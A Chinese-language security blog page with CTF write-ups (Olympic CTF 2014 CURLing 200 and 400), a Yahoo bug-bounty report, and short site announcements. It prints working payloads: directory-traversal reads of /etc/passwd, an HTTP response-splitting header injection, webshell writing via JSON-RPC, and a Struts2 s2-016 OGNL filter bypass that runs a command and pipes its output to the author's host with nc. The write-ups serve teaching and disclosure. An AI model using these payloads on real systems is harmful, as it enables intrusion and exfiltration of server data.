2014年2月10日 星期一

Olympic CTF 2014 CURLing 400 write up



Olympic CTF CURLing 400 的 write up

前言可以參考 Olympic CTF 2014 CURLing 200 write up

這題也是個人覺得出的非常不錯的題目之一,

要解開必須很熟悉 PHP 的特性以及攻擊手法才能解開這道題目,

網址打開是一個白畫面,有個 PHP 的錯誤訊息
Notice: Undefined index: rpc_json_call in /var/www/index.php on line 27


有再寫 PHP 的同學應該馬上可以知道這個 Notice 這是少了一個 GPC 參數的警告,

所以我們可以自己補上 POST
rpc_json_call=blablalba


哦,會發現錯誤訊息變了

Google 搜尋一下 JSON RPC 的標準,照著標準送出
rpc_json_call={"jsonrpc": "2.0", "method": "subtract", "params": [42, 23], "id": 1} 


會發現錯誤訊息又變了

哦?不正確的 method 名稱?

這時候可以猜測 method 名稱,不過笨蛋才會亂猜 :p

有範圍的猜測會比盲目的亂猜好太多,

如果對 PHP 夠了解,會知道 PHP class 上都會有一些 Magic Method 存在,

經過測試會發現 __construct 以及 __wakeup 是可以使用的!

送出
rpc_json_call={"jsonrpc": "2.0", "method": "__construct", "params":[1,2], "id": 1} 


錯誤訊息又變了! 不過從這次的錯誤訊息中可以得到資訊,知道了 __construct 的參數有三個,log_dir, debug, 以及 state

一樣偽造這三個參數的值後送出
rpc_json_call={"jsonrpc": "2.0", "method": "__construct", "params":{"log_dir":"aa", "debug":true, "state": "foo"}, "id": 1}


發現是白畫面T____T

到這邊卡住了一下,也許 __construct 只是去設定了 log_dir, debug 以及 state 這三個參數並沒有其他動作,所以是不是能在一個 reuqest 內執行兩次 JSON RPC CALL 呢(?

沒有翻得很勤勞不過猜測在一個 array 內送兩個 json hash 竟然可以XDDD
rpc_json_call=[
{"jsonrpc": "2.0", "method": "__construct", "params":{"log_dir":"aa", "debug":true, "state": "foo"}, "id": 1},
{"jsonrpc": "2.0", "method": "__wakeup", "params":{}, "id": 1}
] 

哦,loged ? 啊是 log 三小XDDDD

把 log_dir 參數改一下改成 /var/www 看看


竟然說 permission denied XD

那嘗試 /tmp/ 呢?


看來是真的可以寫檔,那它寫了什麼呢?

可以用 out-of-bound 的方法利用 PHP 支援的 wrapper 把內容給寫出來
(PHP 支援的話甚至可以用 except://ls 執行指令)

利用 php://output 可以把內容寫到網頁上,


原來寫了一個 serialize 過後的 PHP Object 進去,難怪會用到 __wakeup 的 magic method

所以我們可以嘗試把 webshell 寫到 /var/www/ 內

不過因為 server 的設定,似乎每隔一秒會定時把 /var/www 的檔案清掉,所以如果手速不夠快會一直以為自己沒有寫成功
(哭哭T___T)

所以寫個 script 搞定!



執行 ls -alh


執行 cat /FLAG
CTF{b15ffee30a117f418d1cede6faa57778}


<( ̄︶ ̄)>


Olympic CTF 2014 CURLing 200 write up



最近剛好玩了一下 Olympic CTF ,解了一些題目,

其中有幾題讓自己印象深刻,還滿有趣的所以來記錄一下 XD


-----
400 分的可以參考另外一篇 CURLing 400
----

首先是 CURLing 200 分~

打開是一個新聞系統的頁面


其中選取新聞的參數似乎是去讀取檔案,並且存在 Directory Traversal 漏洞,可以透過 ../ 來偽造路徑
(還記得 遠通 嗎 XDD)

http://109.233.61.11:27280/news/?f=./31-12-2013
漏洞判斷方式是把原本的參數加上 ./ 會顯示與原本的頁面一樣

所以可以利用 ../ 去讀取伺服器上的檔案(知道路徑以及權限足夠),如
http://109.233.61.11:27280/news/?f=../../../../etc/passwd

也可以讀取 /proc/self/cmdline 來得知當前運行什麼程序
http://109.233.61.11:27280/news/?f=../../../../proc/self/cmdline
可以知道這個新聞系統是用 Pyhton + Django + Gunicorn 所架設的


翻了一下似乎都找不到什麼有用的資訊,所以來看看 Nginx 還有藏什麼網頁服務在?

猜一下 Nginx.conf 的預設位置
http://109.233.61.11:27280/news/?f=../../../../etc/nginx/nginx.conf

看不到什麼有用的資訊,不過沒關係我們在繼續猜
http://109.233.61.11:27280/news/?f=../../../../etc/nginx/sites-enabled/default
Got it. 看到了 /secret/flag 的 URL pattern 似乎可以得到目標 flag


但是直接 Access 會出現 404 Not Found T______T


仔細再看一下 /etc/nginx/sites-enabled/default 檔案,會發現有 internal 以及 root 的字樣,

查一下 官方 manual 會發現這是 Nginx 的功能之一可以用來保護檔案,

至於存取的方法是 Nginx 判斷 server 是否有送出 X-Accel-Redirect 的 header,如果有才允許使用者存取檔案,

但是這個 header 是 server 端控制,所以使用者無法偽造,


在這邊卡了一下子,不過再仔細觀察整個新聞系統發現網頁其實存在另外一個漏洞,

在瀏覽新聞的時候下方回首頁的連結是透過一個參數 retpath 控制的

伺服器端實現的原理是把 retpath 的值放進 Location header 裡隨著 server 一起送回來,

如送出
http://109.233.61.11:27280/?retpath=foooo
則 server 吐回的則是 Location: foooo
所以在這個情況下,存在 HTTP Response Splitting 弱點,不過我們可以不用偽造整個 request 只要偽造一個 header 就好了例如
http://109.233.61.11:27280/?retpath=foo%0d%0afake_header:fake_value
則可以成功偽造一個 fake_header 的 header

所以如果沒有搭配上面的 ../ 找出 Nginx 設定檔案,可能只會把這個當成一個沒有大危害的弱點
(只能針對 Client Side 攻擊)

不過當配合上面 Nginx internal 的設定以及這個漏洞,組合技的效果就出來了,這也是我覺得這次題目出得不錯的原因之一XD

送出
http://109.233.61.11:27280/?retpath=foo%0d%0aX-Accel-Redirect:/secret/flag
就可以得到 flag 惹!
CTF{6e75d02b8e8329bb4b45c7dabd2e1da2} 


2013年12月25日 星期三

MD5 for Fun - Fun with MD5 hashes


想了一下還是發個文章來記錄一下xD

----

最近在整理硬碟,
因為好玩寫了一個網站(服務?)

http://md5fun.exp.tw

收集
Maximum MD5 Hash
(F 開頭最多最大的 MD5 hash)

Minimum MD5 Hash
(0 開頭最多最小的 MD5 hash)

Funny MD5 Hashes
(好玩的 MD5 hashes,連號最多、有特殊規則等)


開放投稿:)

2013年11月24日 星期日

EXP.tw - 文章投稿、駭客資訊、資安文章








前幾天看到 .tw 域名特價中,失心瘋就買下了幾個 domain

買了之後也不知道幹嘛,

感覺 EXP.tw 那麼短可以放個什麼東西在上面,就一時興起隨手寫了個服務在上面。

寫了兩三天,順便練練寫網頁的手感 XD


目前提供的功能如下

Exploits
  • 漏洞資料庫
  • 單純 Exploit-db.com 上面的文章


Hacked
  • 被入侵網站列表
  • 資料來源 Zone-h.org
  • 資料來源 Wooyun.org


Articles
  • 比較著重在 駭客、駭客團體、資安研究員的 Blog RSS Feed 上
  • 百度 Blog 上面的資安相關文章,但是百度 Blog 不給 RSS 訂閱,上面又有許多大陸駭客、資安研究員很有質量的文章... 每次都要特地去看很麻煩就放進來了
  • 資安新聞的話可能之後會在獨立一個類別放置


Writing
  • 對於資安上面的文章發表
  • 有 科普教學、八卦爆卦、心得分享、技巧分享、好物分享、其他雜項 等
  • 歡迎投稿:)


SNS
  • 知名駭客、資安研究員的 Twitter、微博等社交網路內容,基本上很多好玩的或是八卦都是從這些地方出來的 :P


網址在

http://exp.tw/



就請各位不吝指教囉:P
( 還有歡迎投稿 XDD )


2013年11月4日 星期一

Yahoo Bug Bounty Part 2 - *.login.yahoo.com Remote Code Execution 遠端代碼執行漏洞


Yahoo 系列的 Part 2 來囉~

Bug Bounty 緣起說明以及 Part 1 請看以下鏈結
(Yahoo Bug Bounty Part 1 - 台灣 Yahoo Blog 任意檔案下載漏洞)


這次比較有趣,是遠端代碼執行!

有漏洞的點主要在下面兩個網站:
b.login.yahoo.com
apt.login.yahoo.com

讓我們來看看網頁長什麼樣子,

apt 似乎是 Yahoo 的線上廣告管理系統,


b 就看不出是什麼東西了XD


出問題的原因在於這兩個網站撰寫時是使用了 Struts2 這個 Java Framework,

今年七月中的時,Struts2 爆發一個嚴重的 Remote Code Execution 等級的漏洞,這個漏洞被官方編號為 s2-016,
(基本上 Struts2 可以出包的地方都出過一遍了之後再出事應該也不意外...)

大致是說在 Struts2 中支援一些 Prefix 讓程式開發人員可以方便導向如 action, redirect, redirectAction 等,

但在處理這些方法時並沒有做好過濾,造成在這之中的內容可以用 ${ognl_exp} 的形式來執行 OGNL 如:
redirectAction: ${123*123}  
網站會跳轉到 /15129.action,漏洞存在代表 123*123 有被伺服器運算到!

好玩的是,官方公佈漏洞時順便把攻擊 PoC 一起釋出,等於駭客可以不用再去注意漏洞發生細節在那,可以直接開始修改 Poc 並且攻擊,

那個時期網路上風雲變色,一堆網站都來不及修補深受其害xDD

那時大陸著名漏洞回報網站 烏雲 上也一堆人在利用這個弱點洗 Rank 還滿有趣的xDD





在用剛剛的方法判斷 Yahoo 存在這個漏洞後,接著就是嘗試使用攻擊代碼嘗試執行指令,但攻擊的 Exploit 卻不能直接利用,
(想想也是拉,不然早就被一堆人玩到爆了XD)

所以不能利用的原因在哪裡呢?接下來就是研究的部分,

來感嘆一下XD

很多 Script Kiddie 只會用網路上現成的工具入侵,

但如果不確實明白原理的話很常會出現漏洞存在但工具無法使用的情況,

例如 Library 路徑的不同,網路上工具都是寫死的如
com.opensymphony.xwork2
這樣只要路徑不再預設位置上的話工具就會失敗

那要怎麼辦呢?來講個小技巧,

在無法判斷位置的情況下可以利用 #request 這個變數來看位置以及一些敏感資訊,

以這個例子來講:
redirect: ${#request}
可以看到網站轉址的地方就是 #request 變數的內容,
(看一堆東西噴出來還滿有成就感的cc)

從這裡可以看到位置是預設的沒錯,還有一些敏感資訊可以記著說不定以後會用到:P

在測試的過程中發現有特定的 pattern 會造成 Exploit 失敗,

猜測在伺服器上似乎有 Filter 或是一些其他的設定,造成 Exploit 失敗,

所以勢必得找到那些 patttern 繞過它!!

不過好在利用的是 s2-16 redirect 弱點,可以由轉址的方式來 leakge 出一些資訊判斷 Java Code 是否執行成功,所以雖然是用黑盒但可以用 Blind 的方式來進行猜測,

測試後發現,

Blind 後發現 patterns 好像有
(並不完全)
  1. 不能有逗點後的 method 
  2. 不能有雙引號
  3. 不能有些特定關鍵字


所以我們要只要繞過這些限制便可以透過去執行 Java Code 的!

所以最後是透過改寫 s2-016 繞過這些 patterns 以及 OGNL Static Method 的方式來執行指令。

最後的 PoC
redirect: ${
#_memberAccess.allowStaticMethodAccess%3dtrue,
#context[#parameters.aa]%3dfalse,
#_memberAccess.excludeProperties%3d@java.util.Collections@EMPTY_SET,
@java.lang.Thread@sleep(10000)
}
&aa=xwork.MethodAccessor.denyMethodExecution


可以讓伺服器睡十秒,
(Total Duration 那欄可以看到超過 10000 ms)


接著是執行系統指令的部分,

不過那時也凌晨三四點了,想睡覺懶得踹直接硬來把指令結果反連到自己伺服器上代表系統命令有執行成功就好XD

執行 uname -a 指令並且將結果傳回至我的伺服器上,
redirect: ${
#_memberAccess.allowStaticMethodAccess%3dtrue,
#context[#parameters.aa]%3dfalse,
#_memberAccess.excludeProperties%3d@java.util.Collections@EMPTY_SET,
@java.lang.Runtime@getRuntime().exec(new java.lang.String[]{#parameters.a1,#parameters.a2,#parameters.a3}),
}
&aa=xwork.MethodAccessor.denyMethodExecution
&a1=/bin/sh
&a2=-c
&a3=uname -a | nc orange.tw 12345


耶結案,<( ̄︶ ̄)>


Yahoo 系列應該到此結束吧!

真的是一個滿有趣的體驗的!而且 Yahoo 給的獎金真的滿有誠意的!!!XD
(只是領的方式比較繁瑣 =_=)

有機會的話以後可以來嘗試當個獎金獵人XD

最後附上個 The Bug Bounty List 給有興趣的人參考:)